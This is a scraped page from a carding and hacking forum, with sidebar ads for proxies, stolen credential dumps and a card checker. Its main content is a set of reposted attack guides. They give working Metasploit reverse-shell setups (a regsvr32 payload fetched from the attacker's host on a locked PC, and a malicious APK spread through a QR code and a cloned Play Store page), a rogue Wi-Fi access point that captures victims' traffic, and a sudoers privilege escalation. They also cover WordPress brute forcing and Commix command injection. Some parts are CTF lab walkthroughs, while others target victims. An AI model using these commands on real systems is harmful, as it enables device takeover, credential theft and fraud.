Blackhat Carding Forum | Carding Forum - Credit Cards - Hacking Forum - Cracking Forum

Welcome, Guest

You have to register before you can post on our site.

Search Forums

(Advanced Search)

Forum Statistics

» Members: 114,288
» Latest member: r3dh3lls
» Forum threads: 13,082
» Forum posts: 20,980

Full Statistics

Latest Threads

Vn5socks.net - Service Se...

1 hour ago

Last post by FireHeaven

Shopsocks5.com - Service ...

Yesterday, 12:16 PM

Last post by shopsocks5.com

Secretline.top @StarLinkC...

Yesterday, 03:45 AM

Last post by Max097

Secretline.top @StarLinkC...

11-07-2026, 03:35 PM

Last post by Max097

Secretline.top @StarLinkC...

11-06-2026, 03:07 PM

Last post by Max097

[LUPIN ULP] 16.279.483 | ...

11-06-2026, 05:23 AM

Last post by ImLupin

Secretline.top @StarLinkC...

11-06-2026, 05:20 AM

Last post by Max097

Secretline.top @StarLinkC...

11-05-2026, 05:12 PM

Last post by Max097

⚡[350M] - UHQ ULP || URL:...

11-05-2026, 02:17 PM

Last post by eaglecloudofficial

ODIN CC | CCN Checker – F...

11-05-2026, 12:56 PM

Last post by odincheck

[Guide] How to Hack Locked PC in Network using Metasploit

Posted by: NINZA - 04-25-2020, 04:50 AM - Forum: Carders Home - No Replies

Today we will discover how to take Meterpreter session of a pc in a network which is switched on but is locked.

Let us assume that our victim’s pc already has sticky keys attack enabled on it. To know more about sticky keys, visit

[To see content please register here]

You will need physical access to the victim’s pc for this attack. Press the “shift” key 5 times on the victim’s pc to bring up the command prompt.

Next, we run metasploit on our own pc. $msfconsole
[Image: 2.png?w=687&ssl=1]

Thereafter, we search for regsvr32_applocker_bypass_server and use the exploit followed by setting the payload, lhost, lport and run exploit.

use exploit/windows/misc/regsvr32_applocker_bypass_server

set payload windows/meterpreter/reverse_tcp

set lhost 192.168.0.106

set lport 4444

exploit

Take down the command generated by metasploit and run it on the victim pc’s command prompt
Regsvr32 /s /n /u /i:http://192.168.0.106:8080/nKCCncmdb.sct scrobj.dll
[Image: 4.png?w=687&ssl=1]

Voila, we have the session of victim’s pc on our meterpreter.
[Image: 5.png?w=687&ssl=1]

Today in our CTF challenge series we are going to do Billy Madison. This VM is based on 90’s movie Billy Madison, hence the name of the VM. The main aim of this VM is to figure out how Eric took over the machine and then undo his changes so you can recover Billy’s 12th-grade final project. You will probably need to root the VM to complete this objective. Without further ado let’s start.

Download the lab from

[To see content please register here]

Walkthrough

Let’s locate our target first.

netdiscover
1
netdiscover

Our target is 192.168.1.103. Scan it with nmap.
nmap -p- -A 192.168.1.103
1
nmap -p- -A 192.168.1.103
[Image: 2.png?w=687&ssl=1]

Okay! So from nmap we have discovered the port : 22, 23, 69, 80, 137, 138, 139, 445, 2525. So, I opened our target in the browser at port 69.

A WordPress website opens. I explored this lot and tried to exploit it but it was useless. So I simply opened our target in the browser at its by-default port i.e. 80. The following page opens.
[Image: 4.png?w=687&ssl=1]

Then I explored the smb port.
smbclient -L 192.168.0.103
1
smbclient -L 192.168.0.103
When it asks for a password then just hit enter without entering a password.
[Image: 5.png?w=687&ssl=1]

It just told us that backdoor is currently closed. So then I traversed telnet.
telnet 192.168.0.103
1
telnet 192.168.0.103
[Image: 7.png?w=687&ssl=1]

There was a message in telnet telling us the password and that it has been encrypted with ROT13(hint: ROTten). Let’s decode it.

By decrypting it, it comes to be as exschmenuating. Now this could be a directory so I opened it in the browser

Now in the browser, it opened a webpage which gave us a few hints for moving forward. Through conclusion, we now know that there is a .cap file. And that it is saved with the name which includes ‘veronica’ and that name and is derived from rockyou.txt.

Now there are many names in rockyou.txt but we only need the ones with to have Veronica in it and for that use the following command:

grep –i veronica /usr/share/wordslists/rockyou.txt > /root/Desktop/dict.txt
1
grep –i veronica /usr/share/wordslists/rockyou.txt > /root/Desktop/dict.txt

Execution of the above command will create a text file with names Veronica in it. Now use this text file and find the file which had Veronica in it through DirBuster. And for this, open DirBuster and give the URL in the Target URL text box and then give the path of the text file you just created using grep command. Give the directory name in Dir to start with the text box and then give cap as the file extension.
[Image: 11.png?w=687&ssl=1]

As a result, it will show you 012987veronica.cap file.

Open it in the browser. It will ask you to download it, go ahead with it.

Now check the TCP stream of every packet. In of it, you will find an email sent from Eric to Veronica, telling her to download a certain antivirus.
[Image: 14.png?w=687&ssl=1]

In another TCP stream, you will find that Veronica has replied to Eric, saying that to share the link through FTP server along with a youtube link.

Again in a TCP stream of a packet, you will find that Eric has told her about his username and password.

Ok! So we have eric’s username and password. Keep that with you for later use. Meanwhile, let’s check out the youtube link.

In the video, it says the combination of some numbers. Now, these numbers could be used for port knocking. So, let’s try it.

for x in 1466 67 1468 1514 1981 1986; do nmap -Pn --host_timeout 201 --max-retries 0 –p $x 192.168.0.103; done
1
for x in 1466 67 1468 1514 1981 1986; do nmap -Pn --host_timeout 201 --max-retries 0 –p $x 192.168.0.103; done

Then to check I fired up the nmap again.

nmap -p- 192.168.0.103
1
nmap -p- 192.168.0.103

And Voila!! FTP port opened on 21. Lets’ enter through it now as we have username and password. Remember The password and username for eric we discovered earlier.

ftp 192.168.0.103
1
ftp 192.168.0.103

Now let’s see the directories in it.

dir
1
dir

There is a file named .notes. I decided to read it but before doing so I had to download it, therefore, type :

get .notes
exit
1
2
get .notes
exit

Now that notes file is downloaded, type the following command in the terminal of kali to read it:

cat .notes
1
cat .notes

There was a message in the notes by eric. Now if you remember the conversation of Veronica and eric then you would know that there are two users on the ftp server. the second one is Veronica. Naturally, I decided to use hydra to apply the brute force attack on FTP to get the username and password using the same dictionary file which I had created with grep.

hydra –l veronica –P /root/Desktop/ver.txt

[To see content please register here]

1
hydra –l veronica –P /root/Desktop/ver.txt

[To see content please register here]

And yes!! We have the password along with username i.e. veronica and [EMAIL=The contents of this section are hidden for your group]The contents of this section are hidden for your group[/EMAIL]
Register or Login respectively. Then I decided to explore more of FTP with veronica’s username and password and I found two files there: one is of .cap and other .eml and downloaded them both and to achieve so type the combination of the following commands:

ftp 192.168.0.103
dir
binary
get eg-01.cap
get email-from-billy.eml
1
2
3
4
5
ftp 192.168.0.103
dir
binary
get eg-01.cap
get email-from-billy.eml

Let’s read the email now.

In the mail, he says how he hacks Eric’s wireless password. But if you observe everything you will find that he has used swaks to send this mail. Now swaks is an SMTP server that is a featureful, flexible, scriptable, transaction-oriented tool developed by John Jetmore. So, therefore I used the following command next:

swaks --to [email protected] --from [email protected] --server 192.168.0.104:2525 – body "My kid will be a soccer player" --header "Subject: My kid will be soccer player"
1
swaks --to [email protected] --from [email protected] --server 192.168.0.104:2525 – body "My kid will be a soccer player" --header "Subject: My kid will be soccer player"

Further, I used aircrack-ng to monitor eg-01.cap to because the email that was sent through the swaks mentioned something about the wifi password.

aircrack-ng /root/Desktop/eg-01.cap –w /usr/share/wordlists/rockyou.txt
1
aircrack-ng /root/Desktop/eg-01.cap –w /usr/share/wordlists/rockyou.txt

And with aircrack-ng, we found the password of wireless i.e. triscuit*.

Now if you again scan it with nmap.
nmap -p- -A 192.168.0.103
1
nmap -p- -A 192.168.0.103
[Image: 28.png?w=687&ssl=1]

As a result, you can see that a new port opens i.e. 1974 with SSH service. Let’s try and log in with SSH.

ssh [email protected] –p 1974
1
ssh [email protected] –p 1974

And then give the password triscuit*. Once I was logged in I checked it Linux version with the following command but it was not exploitable.

lsb_release –a
1
lsb_release –a

Then typed following command to see what it has to offer :

There I found a text file so I decided to read it.

cat why-1974.txt

Then type the following command:
find / -perm -2000 –type f 2>/dev/null
1
find / -perm -2000 –type f 2>/dev/null
[Image: 30.png?w=687&ssl=1]

I was pretty lost here so decided to take some help from Mr Goblin (

[To see content please register here]

) and so type the following set of commands:
touch /tmp/test
/usr/local/share/sgml/donpcgd /tmp/test /etc/cron.hourly/test
echo -e '#!/bin/bash\necho "eric ALL=(ALL) NOPASSWORD:ALL" >> /etc/sudoers' > /etc/cron.hourly/test
chmod +x /etc/cron.hourly/test
cat /etc/chron.hourly/test
1
2
3
4
5
touch /tmp/test
/usr/local/share/sgml/donpcgd /tmp/test /etc/cron.hourly/test
echo -e '#!/bin/bash\necho "eric ALL=(ALL) NOPASSWORD:ALL" >> /etc/sudoers' > /etc/cron.hourly/test
chmod +x /etc/cron.hourly/test
cat /etc/chron.hourly/test
[Image: 31.png?w=687&ssl=1]

This way you will escalate the privileges and reach the root. Let’s see what files root has:

ls
1
ls

I decided to read /PRIVATE file.

cd /PRIVATE
ls
1
2
cd /PRIVATE
ls

Here, I found hint.txt and BowelMovement files. First I opened hint.txt.

cat hint.txt
1
cat hint.txt

In this file, he is talking about the BowelMovement file and about its password which is the link given. So I copied the BowelMovement file.

cp BowelMovement /var/www/html
1
cp BowelMovement /var/www/html

And then I created a dictionary file using cewl and that link.
cewl --depth 0

[To see content please register here]

> /root/Desktop/billt.txt
1
cewl --depth 0

[To see content please register here]

> /root/Desktop/billt.txt
[Image: 33.png?w=687&ssl=1]

By brute force, you will find the correct password from this dictionary file. Using that password open the movement file that you have downloaded. BowelM.

And then open the same in the terminal of kali and type :

There is a file called secret.zip, unzip it.

unzip secret.zip
1
unzip secret.zip

In the zipped folder, there were two files. I decided to read them both.

cat THE-END.txt
cat Billy_Madison12th_Grade_Fimal_Project.doc
1
2
cat THE-END.txt
cat Billy_Madison12th_Grade_Fimal_Project.doc

Finally! We have solved the CTF. Enjoy!

This is another article for Boot2Root series in CTF challenges. This lab is prepared by HollyGracefull. This is just a preview of the original lab which stimulates the E-commerce web application which contains common security errors. Current vulnerabilities are listed below :

SQL Injection (Error-based)
SQL Injection (Blind)
Reflected Cross-Site Scripting
Stored Cross-Site Scripting
Insecure Direct-Object Reference
Username Enumeration
Path Traversal
Exposed phpinfo()
Exposed Administrative Interface
Weak Admin Credentials

WalkThrough

Firstly, let’s locate our target.

netdiscover

Our target is 192.168.1.8. Let’s scan it with nmap.
nmap –p- -A 192.168.1.8
[Image: 2.png?w=687&ssl=1]

The only port we found open was 80. Next, we fire up the Nikto.
nikto –h 192.168.1.8
[Image: 3.png?w=687&ssl=1]

Through nikto we discovered two directories : /admin/ and /images/. OK! Let’s make its mental note and decided to move forward with opening our target in the browser.
[Image: 4.1.png?w=687&ssl=1]

Opening it on the browser we found that it was an e-commerce site as hinted by the author. We checked every tab but found nothing except in the blog tab.
[Image: 4.png?w=687&ssl=1]

In the blog tab, when you will hover your mouse arrow over the admin in the phrase ‘Hey Admin!’. It will change from arrow to a hand that indicates that means it will open as it a click on.
[Image: 5.png?w=687&ssl=1]

When you click on it, it will show a username of admin. Ok! I made a note of it. Let’s now check the clothing tab.
[Image: 6.png?w=687&ssl=1]

There is nothing useful in this tab. As the author hinted that the website is vulnerable towards SQL attacks so let’s try one. This time let’s try a different SQL attack using BurpSuite. Capture the cookies of the webpage through BurpSuite.
[Image: 7.png?w=687&ssl=1]

Copy the cooky string and paste it in a simple text file.
[Image: 8.png?w=687&ssl=1]

Then start the SQL attack by typing the following command in the terminal of Kali.
sqlmap –r /root/Desktop/sea.txt –dbs
Here,
/root/Desktop/sea.txt is the path of the text file in which we had saved the cookies.
[Image: 9.png?w=687&ssl=1]

This command will give us the name of the following database.
[Image: 10.png?w=687&ssl=1]

Out of these databases, we will dump the tables of seattle with the following command :
sqlmap –r /root/Desktop/sea.txt –D seattle –tables
[Image: 11.png?w=687&ssl=1]

And with that, we will have all the name of the tables as you can see in the following image.
[Image: 12.png?w=687&ssl=1]

Next, we will dump the columns of the tables with the following command :
sqlmap –r /root/Desktop/sea.txt –D seattle –T tblMembers –columns
[Image: 13.png?w=687&ssl=1]

The execution of the above command will show the table names as follows:
[Image: 14.png?w=687&ssl=1]

Now in the table names, there is a table password. Now we already have the username of the admin and we just want the password. So now we will dump the contents of the password table.
sqlmap –r /root/Desktop/sea.txt –D seattle –T tblmembers –C password –dump
[Image: 15.png?w=687&ssl=1]

And voila! We have the password i.e. Assasin1
[Image: 16.png?w=687&ssl=1]

Now in the browser, go to my account tab and there you will find a login portal. Give the username and password of the admin and click on Login.
[Image: 17.png?w=687&ssl=1]

And you will be logged in as the admin.
[Image: 18.png?w=687&ssl=1]

This CTF does contain any flag. All that required was to have admin access and yooohoooo!! We have that.

WiFi-Pumpkin is an open source security tool that provides the Rogue access point to Man-In-The-Middle and network attacks. Using WiFi Pumpkin, one can create a wifi network that captures all the requests made within the network by any device that connects to the network.

First of all, u need to download WiFi Pumpkin and install it in your Kali Linux. To download WiFi Pumpkin, go to

[To see content please register here]

and click on Clone or Download. Thereafter, copy the URL to the clipboard and open the terminal. Type in:-

git clone “URL copied to clipboard”

Next, go to the directory of WiFi Pumpkin on the terminal. For eg., if the repo is downloaded to the Desktop, type:

cd Desktop WiFi-Pumpkin
./installer.sh --install
1
2
cd Desktop WiFi-Pumpkin
./installer.sh --install

Thereafter, run wifi-pumpkin:

This will open the GUI version of WiFi-Pumpkin. Now select the network adapter and change the SSID from PumpAP and rename it as desired.

Thereafter click on the Start button. This will create a new wifi-zone with the name entered in the SSID field.

Now as soon as any device connects to this wifi network, its details will be shown in the table at the right. Select any target device from the list of connected device/s and select Active Driftnet from the Tools menu.

As soon as Driftnet starts, it will start sending screenshots from the victim’s desktop/mobile. This will also capture the images of facebook.

[Guide] How to Hack the SkyDog Con CTF – Catch Me If You Can VM

Posted by: NINZA - 04-25-2020, 04:47 AM - Forum: Carders Home - No Replies

SkyDog is the second VM in CTF series created by James Brower. It is configured with DHCP so the IP will be given to it automatically. This VM is based on Catch me if you can which is a movie about Frank who is a conman. So it is correct to assume that a broad OSINT concept will be used in it. This is an amazing VM as it uses about hacking and forensic skills. The author of this VM has given us hints about all the eight flags as below:
Flag # 1: Don’t go, Home Frank! There’s a Hex on Your House.
Flag # 2: Obscurity or Security?
Flag # 3: Be Careful Agent, Frank Has Been Known to Intercept Traffic Our Traffic.
Flag # 4: A Good Agent is Hard to Find.
Flag # 5: The Devil is in the Details – Or is it Dialogue? Either Way, if it’s Simple, Guessable, or Personal it Goes Against Best Practices
Flag # 6: Where in the World is Frank?
Flag # 7: Frank Was Caught on Camera Cashing Checks and Yelling – I’m The Fastest Man Alive!
Flag # 8: Franks Lost His Mind or Maybe it’s His Memory. He’s Locked Himself inside the Building. Find the Code to Unlock the Door Before He Gets Himself Killed!
Except this, we know that the flags are in MD5 Hash. You can download it from

[To see content please register here]

.
Penetrating Methodology

Network Scanning (Netdiscover, Nmap)
Examine source code of the web page
Extracting and decoding of hex value for the 1st flag
Login into SSH for the 2nd flag
Abusing HTTPS for the 3rd flag
Intercept the Browser request and Change user-agent (Burp-suite)
Obtain the 4th flag and follow the clue
Explore FBI workstation and abuse its source code FBI.txt file
Decrypt the 5th flag to obtain the credentials
Download the image after login
Extract hidden code from inside the image (steghide)
Open the flag.txt file and capture the 6th flag along with the password.
Login into SSH and capture the 7th flag
Download zip file via SCP and unzip
Forensic Trick-Extract file info to capture the 8th flag (volatility)

WalkThrough
Let us find our target first by using the following command in the terminal of kali :

netdiscover
1
netdiscover
[Image: 1.png?w=687&ssl=1]

We can clearly see that our target IP is 192.168.1.100. Now as we have identified our target let’s scanning the IP with nmap.

nmap -p- -sV 192.168.1.100
1
nmap -p- -sV 192.168.1.100
[Image: 2.png?w=687&ssl=1]

With the assistance of nmap, you can see that the port number 22, 80, 443, and 22222 are working with the service of SSH (closed), HTTP, HTTPS and SSH (open) respectively. Here, you can observe that using port forwarding the service of SSH has been forwarded to the port number 22222 from its default port that is 22. Also, the service is closed on 22 and open on 22222. This is a minor security feature to throw off attackers.
As port 80 is open, along with 443; we can open this IP in a browser.
[Image: 3.png?w=687&ssl=1]

The home page has nothing to go on for us, therefore, we checked its page source.
[Image: 4.png?w=687&ssl=1]

In the page source, you will find a directory. Let’s open it and see what it has got for us.
[Image: 5.png?w=687&ssl=1]

The directory too didn’t have much to go on, so we viewed the page source again and there we found a hex value. Now from the first hint given by the author, which is Flag #1: Don’t go, Home Frank! There’s a Hex on Your House, we can tell that this hex is our first flag. Let’s convert the hex by using the following command in the terminal of kali :

echo | xxd -p -r
1
echo | xxd -p -r

Here,
xxd: is used to create a hex dump
-p: is used to the output can be in the plain text
-r: is used to convert the hex
[Image: 6.png?w=687&ssl=1]

Using the above command the hex is converted as you can see in the image above. And so when we convert this flag from MD5 hash. Hence, the flag is nmap that means our next hint is nmap and that is where we should look.
[Image: 7.png?w=687&ssl=1]

As explained earlier, the port SSH has been given a security feature in the nmap so we should poke it by typing the following command:

ssh 192.168.1.100 -p22222
1
ssh 192.168.1.100 -p22222
[Image: 8.png?w=687&ssl=1]

And so we have our next flag; upon de-hashing, it turns out to be encrypted.
[Image: 9.png?w=687&ssl=1]

We will find our next flag somewhere in the encryption on the webpage. The most basic encryption given to the webpage is a security certificate. Let’s check that out.
[Image: 10.png?w=687&ssl=1]

Click on the highlight area as shown in the above picture. The following dialogue box will open.
[Image: 11.png?w=687&ssl=1]

Click on the security tab as shown in the above image. And then click on View Certificate button. In the certificate you will find the third flag as shown below:
[Image: 12.png?w=687&ssl=1]

When converted; our next flag turns out to be personnel.
[Image: 13.png?w=687&ssl=1]

I had assumed “personne1” as a directory, so let’s open it in a browser.
[Image: 14.png?w=687&ssl=1]

As shown, the directory says that “you do not appear to be from an FBI workstation” that means there is somewhere FBI workstation. I looked back through every page source we had and found that we need internet explorer 4 for the FBI workstation.
[Image: 15.png?w=687&ssl=1]

Now, reload the personal directory and capture its cooking using burpsuite; which will help you change the browser.
[Image: 16.png?w=687&ssl=1]

In the burpsuite, once you have captured the cookies change user-agent from “Linux x86_64” to “MSIE 4.0” as shown in the images.
[Image: 17.png?w=687&ssl=1]

And once you forward the request from burp-suite and the personal directory page will load. There you will find you’re next flag and a hint with that flag i.e. we have to add a prefix ‘new’ to whatever the flag we have after decrypting hash value.
[Image: 18.png?w=687&ssl=1]

Upon converting our flag is evidence. So adding the prefix new our flag becomes newevidence.
[Image: 19.png?w=687&ssl=1]

Now the directory /newevidence takes us to the FBI login portal.
[Image: 20.png?w=687&ssl=1]

Now we don’t have any username and password and no clue about it too. So I explored its page source.
[Image: 21.png?w=687&ssl=1]

In the page source there we found two important things i.e. evidence.txt When opened, evidence.txt gave us our next flag.
[Image: 22.png?w=687&ssl=1]

Once converted the flag is panam.
[Image: 23.png?w=687&ssl=1]

Now let’s open newevidence which we found in the previous flag.
[Image: 24.png?w=687&ssl=1]

It shows us an image. There must be a stegnographed message in the image. Therefore, use the following command to see it :

steghide extract -sf newevidence.jpeg
1
steghide extract -sf newevidence.jpeg
[Image: 25.png?w=687&ssl=1]

The hidden file was flag.txt to read the flag, type :

cat flag.txt
1
cat flag.txt

By de-hashing the flag we get ILoveFrance. And we also have a clue i.e. iheartbrenda. This flag and clue are both important, make its note.
[Image: 26.png?w=687&ssl=1]

For our seventh flag, we have the hint — Flag # 7: Frank Was Caught on Camera Cashing Checks and Yelling – I’m The Fastest Man Alive! In this hint, it says “I am the fastest man alive” this is the introductory dialogue of The Flash. And even in the movie, Frank uses a fake name Barry Allen, the original name of the flash.
Therefore, Barry Allen can be our username. Let’s log in through SSH port using BarrAllenen username. When it asked for the password I tried both ILoveFrance and iheartbrenda and fortunately, iheartbrenda was the correct password.
[Image: 27.png?w=687&ssl=1]

Once we were logged in, we used the following commands to find our flag :
ls à to see all the list of all the files
cat flag.txt à to read the flag
And so, we have our next flag. Once de-hashed the flag was the flash
[Image: 28.png?w=687&ssl=1]

As we have both password and username for the login of SSH; here we can use scp service commands. You can use SCP (the scp command) to securely copy files and directories between remote hosts without starting an FTP session or logging into the remote systems explicitly.

scp -P 22222 [email protected]:/home/barryallen/security-system.data /root/Desktop/file
1
scp -P 22222 [email protected]:/home/barryallen/security-system.data /root/Desktop/file

Once you have the file, unzip it and for that type:

unzip file
1
unzip file

Now by using the following command, we complete our CTF challenge.

volatility –f security-system.data notepad
1
volatility –f security-system.data notepad
[Image: 30.png?w=687&ssl=1]

YAY! Once again, we have completed a CTF challenge successfully.

QR Code is a 2-dimensional barcode which can be scanned using Smartphones or dedicated QR Readers. These QR Codes are directly linked to contact numbers, websites, usernames, photos, SMS, E-mails and even encryptions but they do not end here. QR Codes are big deal in Japan and it’s just a matter of time when taking over the whole world as there is growth in SEO.

Till now every one of you must have understood that QR Codes is the ‘next big thing’, let’s make it a big thing but in regards to hacking. Yes! In this article, we are going to hack our victim’s mobile in some easy steps using QR Code. And all you need for this is your beloved Kali Linux.

Our step is to create a pernicious file using msfvenom.

msfvenom –p android/meterpreter/reverse_tcp lhost=192.168.1.100 lport=6666 > /root/Desktop/Launcher.apk
1
msfvenom –p android/meterpreter/reverse_tcp lhost=192.168.1.100 lport=6666 > /root/Desktop/Launcher.apk
[Image: 1.png?w=687&ssl=1]

Now open SET. Through SET we will alter HTA attack into an APK attack to gain access of the victim’s Smartphone. Thus, from the SET menu select the 2nd option which indicates Website Attack Vectors?

Then further select 8th option which refers to HTA Attack Method.
[Image: 3.png?w=687&ssl=1]

And then select Site Cloner by typing 2.
[Image: 4.png?w=687&ssl=1]

When you type the said 2 option, it will ask you to enter the URL that you want to clone. Here give the URL of the play store:

[To see content please register here]

Then when it asks you to select meterpreter option type 3 as we want to select reverse_tcp.
[Image: 6.png?w=687&ssl=1]

Furthermore, save the launcher.apk file that you created using msfvenom to /var/www/html/
[Image: 7.png?w=687&ssl=1]

Also the change the name of launcher.hta to lancher.apk that your SET had just created as shown below
[Image: 8.png?w=687&ssl=1]

Now add The QR Code Extension to your chrome.
[Image: 9.png?w=687&ssl=1]

The QR Code Extension wills generate a QR Code for you according to your attack.
[Image: 11.PNG?w=687&ssl=1]

Now start multi/handler so you have your session in time and for this type:
use multi/handler
set payload android/meterpreter/reverse_tcp
set lhost 192.168.1.100
set lport 6666
run
1
2
3
4
5
use multi/handler
set payload android/meterpreter/reverse_tcp
set lhost 192.168.1.100
set lport 6666
run
[Image: 12.png?w=687&ssl=1]

Now you can move ahead and make the victim scan your code. And install the app.
[Image: 13.png?w=687&ssl=1]

And Voila!! As soon as scanning of the code will be completed, you will have your meterpreter session.
[Image: 14.png?w=687&ssl=1]

This module exploits a buffer overflow in the WinaXe 7.7 FTP client. This issue is triggered when a client connects to the server and is expecting the Server Ready response.

Exploit Targets

WinaXe 7.7 FTP client

Requirement

Attacker: kali Linux

Victim PC: Windows 7

Open Kali terminal type msfconsole

Now type use exploit/windows/ftp/winaxe_server_ready
msf exploit (winaxe_server_ready)>set lhost 192.168.0.106
msf exploit (winaxe_server_ready)>set srvhost 192.168.0.106
msf exploit (winaxe_server_ready)>set payload windows/meterpreter/reverse_tcp
msf exploit (winaxe_server_ready)>exploit
[Image: 2.png?w=687&ssl=1]

Now send the link to the victim when victim, enter in connection details and wait for the FTP connection WinaXe ftp. You will get victim meterpreter session.

Brute force attack using Burp Suite

To make Burp Suite work, firstly, we have to turn on manual proxy and for that go to the settings and choose Preferences. Then select advanced option and further go to Network then select Settings.

Now, select Manual proxy Configuration type your localhost address in HTTP proxy tab and set port to 8080. Click OK

Now open the WordPress in your pc and it will ask you the username and password. Here, before giving username and password start burp suite and select Proxy tab and turn on interception by clicking on Interception is on/off button.

When you turn on the interception then type any password of your predictions so that the burp suite can capture it. Look at image please notice the last line in fetched data it is show that I tried to login by type admin:admin as username and password respectively.

Send the captured material to the intruder by right clicking on the space and choosing Send to Intruder option or simply press ctrl + i

Now open the Intruder tab then select Positions tab without disturbing data click on clear button on right side of frame.

Now select the following as I have selected in the image and click on add button on the right side of frame. This will configure the position where payloads will be inserted into the base request.

Select the type of attack to determine the way in which payload are assigned to payload positions. I will choose cluster bomb as the number of payload set is depend upon attack type and we are having 2 payload positions. Click on start attack.

Click on payload set which will show two numeric numbers 1 and 2 select number 1 for first payload position. Further click on load button in payload option and configure your simple list string that will use as payload or you can add path of any dictionary username only. Similarly select number 2 for another payload position. Add path of any dictionary having password only. Click on start attack.

Now brute attack will match the combination of both payload and try to login in with username and password.

When attack will finished you would get the sure credential by checking status and length which would be different from rest of combination.

From result user:bitnami is username and password respectively.

Brute force attack using wpscan

WPScan is a black box vulnerability scanner for WordPress which is already installed by default in Kali Linux. For WordPress brute force you need a good dictionary or can make your own dictionary for attack.

ruby ./wpscan.rb -url 192.168.1.14 --wordlist /root/Desktop/pass.txt --username user
1
ruby ./wpscan.rb -url 192.168.1.14 --wordlist /root/Desktop/pass.txt --username user

In this brute force attack I have just added wordlist for password. From result user:bitnami is login and password respectively.

Brute force attack using metasploit

This module will test WordPress logins on a range of machines and report successful logins. If you have loaded a database plug-in and connected to a database this module, it will record successful logins and hosts so you can track your access.

msf > use auxiliary/scanner/http/wordpress_login_enum
msf auxiliary(wordpress_login_enum) > set rhosts 192.168.1.4
msf auxiliary(wordpress_login_enum) > set rport 80
msf auxiliary(wordpress_login_enum) > set user_file /root/Desktop/user.txt
msf auxiliary(wordpress_login_enum) > set pass_file /root/Desktop/pass.txt
msf auxiliary(wordpress_login_enum) > exploit
1
2
3
4
5
6
msf > use auxiliary/scanner/http/wordpress_login_enum
msf auxiliary(wordpress_login_enum) > set rhosts 192.168.1.4
msf auxiliary(wordpress_login_enum) > set rport 80
msf auxiliary(wordpress_login_enum) > set user_file /root/Desktop/user.txt
msf auxiliary(wordpress_login_enum) > set pass_file /root/Desktop/pass.txt
msf auxiliary(wordpress_login_enum) > exploit

WordPress brute force successful for login user:bitnami as username and password.

Brute force attack using OWASP ZAP

Zap is an easy to use integrated penetration testing tool for finding the vulnerabilities in web application. Now we will use this tool for brute force attack and the whole process is same as burp suite.

Start OWASP ZAP and turn on manual proxy and for that go to the settings and choose Preferences. Then select advanced option and further go to Network then select Settings. Select Manual proxy Configuration type your localhost address in HTTP proxy tab and set port to 8080. Click OK

Now once again open the WordPress in your pc and it will predict the username and password.

It will capture the data as you can see I have login with user as username and password as password. You can see it in the Request section of the tool select the character which you have entered in the page before. Therefore I will select only password from fetched data then use right click for fuzz option.

When you click on fuzz a new window ‘fuzzer’ will get open, now you have to click on add button on left of frame it will open a new window add payload. Click on select and choose your dictionary for attack.

Again click on add button and then click on start fuzzer.

After starting fuzzing again a new screen will open click on option button click to depth first radio button for payload replacement strategy. Select the check box of follow redirects and click to start fuzzing.

When attack will finished you would get the sure credential by checking state and size response header which would be different from rest of combination.

From result bitnami is password for login user.

Brute force attack using Nmap

This script uses the unpwdb and brute libraries to perform password guessing. Any successful guesses are stored using the credentials library.

Open Kali terminal type following Nmap command
nmap –sV --script http-wordpress-brute --script-args 'userdb=/root/Desktop/login.txt,passdb=/root/Desktop/pass.txt, http-wordpress-brute.hostname=domain.com,http-wordpress-brute.thread=3,brute.firstonly=true' 192.168.1.17
1
nmap –sV --script http-wordpress-brute --script-args 'userdb=/root/Desktop/login.txt,passdb=/root/Desktop/pass.txt, http-wordpress-brute.hostname=domain.com,http-wordpress-brute.thread=3,brute.firstonly=true' 192.168.1.17
[Image: 24.png?w=687&ssl=1]

[Guide] How to bWAPP Command Injection Exploitation using Commix Bypass All Security

Posted by: NINZA - 04-25-2020, 04:20 AM - Forum: Carders Home - No Replies

Command injection is an attack in which the goal is execution of arbitrary commands on the host operating system via a vulnerable application. Command injection attacks are possible when an application passes unsafe user supplied data (forms, cookies, HTTP headers etc.) to a system shell. In this attack, the attacker-supplied operating system commands are usually executed with the privileges of the vulnerable application. Command injection attacks are possible largely due to insufficient input validation.

This attack differs from Code Injection, in that code injection allows the attacker to add his own code that is then executed by the application. In Code Injection, the attacker extends the default functionality of the application without the necessity of executing system commands. Source:

[To see content please register here]

Requirement:

Xampp/Wamp Server

bWAPP Lab

Kali Linux: Burp suite, Commix tool

Very first you need to setup bWAPP lab in your XAMPP or WAMP server, for this you can visit to my previous article web Pentest lab setup using bwapp

[To see content please register here]

Now I m going to perform os command injection attack using bWAPP

Start service Apache and Mysql in Xampp or Wamp server. Let’s open the local host address in browser as I am using 192.168.1.103:81/bWAPP/login.php. Enter user and password bee and bug respectively.

My task is to bypass all three security level in bWAPP through os command injection.

Let start!

Set security level: low

Look at below image I have set the security level low, from option choose you bug select os command injection now and click on hack.

Type the IP in the DNS lookup field and just after that start the burp suite in kali Linux. Don’t forget to set proxy in your browser while using the burp suite.

To capture the cookie of bWAPP click on proxy option then click to inception is on button, come back to bWAPP and now click to DNS.

As you can see I have capture the cookie in burp suite.

Open the terminal in kali Linux and type the commix command.

From fetched data under burp suite copy referrer, cookie and target use this in the following command

commix –url=”http://192.168.1.103:81/bWAPP/commandi.php” –cookie=”PHPSESSID=7pegaf9inlf9iddhb7341k7se7; security_level=0″ –data=target=”192.168.1.103&form=submit”

This command will execute the commix tool in terminal which automatically perform command injection attack using url and cookie information in bWAPP.

Type ‘y’ to resume the classic injection point and to pseudo terminal shell.

Attack is successful commix provided a commix os shell

Commix (os_shell) > syseteminfo

Set security level: medium

Look at below image now I have set the security level medium, from option choose you bug select os command injection now and click on hack.

Repeat the process again as above, Type the IP in the DNS lookup field and just after that start the burp suite.

Click to inception is on, come back to bWAPP and now click to DNS. As you can see I have capture the cookie for medium level in burp suite.

From fetched data under burp suite copy referrer, cookie and target use this in the following command.

commix–url=”http://192.168.1.103:81/bWAPP/commandi.php”–cookie=”PHPSESSID=7pegaf9inlf9iddhb7341k7se7;security_level=1″–data=target=”192.168.1.103&form=submit”

Type ‘y’ to resume the classic injection point and to pseudo terminal shell.

Attack is successful in medium security and again commix provided a commix os shell.

Commix (os_shell) > ipconfig

Set security level: high

After achieving os shell of low and medium my next mode is high security, now I m trying to bypass this level by repeating same process once again.

Set security high, choose your bug os command injection and click on hack.

Type the IP in the DNS lookup field and just after that start the burp suite in kali Linux. From fetched data under burp suite copy referrer, cookie and target use this in the following command.

commix–url=”http://192.168.1.103:81/bWAPP/commandi.php”–cookie=”PHPSESSID=7pegaf9inlf9iddhb7341k7se7;security_level=2″–data=target=”192.168.1.103&form=submit”

